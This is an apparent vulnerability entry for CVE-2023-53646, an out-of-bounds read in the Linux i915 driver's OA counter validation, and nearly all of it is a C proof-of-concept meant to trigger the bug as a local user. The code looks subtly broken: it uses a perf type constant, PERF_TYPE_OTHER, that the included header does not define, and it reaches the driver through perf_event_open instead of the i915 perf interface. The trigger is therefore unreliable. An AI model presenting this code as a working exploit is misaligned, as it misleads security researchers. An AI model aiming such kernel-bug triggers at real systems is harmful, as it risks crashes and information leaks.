CVE-2023-53646 Linux内核i915驱动OA计数器数组越界读取漏洞

// CVE-2023-53646 PoC - Trigger OOB read via perf subsystem on i915 // Requires: Linux kernel with vulnerable i915 driver on Intel Xe HP GPU // Privilege: Local low-privileged user // // This PoC triggers the global-out-of-bounds read in // xehp_is_valid_b_counter_addr() by opening perf events on i915 OA counters. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/perf_event.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main(int argc, char *argv[]) { struct perf_event_attr pe; int fd; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_OTHER; // Use i915 OA perf type pe.size = sizeof(struct perf_event_attr); pe.config = 0xFFFFFFFF; // Invalid config to trigger validation path pe.disabled = 1; // Attempt to open perf event on i915 OA counters // This triggers xehp_is_valid_b_counter_addr() which contains the OOB read fd = perf_event_open(&pe, 0, -1, -1, 0); if (fd < 0) { perror("perf_event_open"); fprintf(stderr, "Note: Requires Intel Xe HP GPU (e.g., Meteor Lake)\n"); fprintf(stderr, " and access to /dev/dri/renderD* device\n"); return 1; } close(fd); printf("Perf event opened successfully - check kernel logs for KASAN report\n"); return 0; }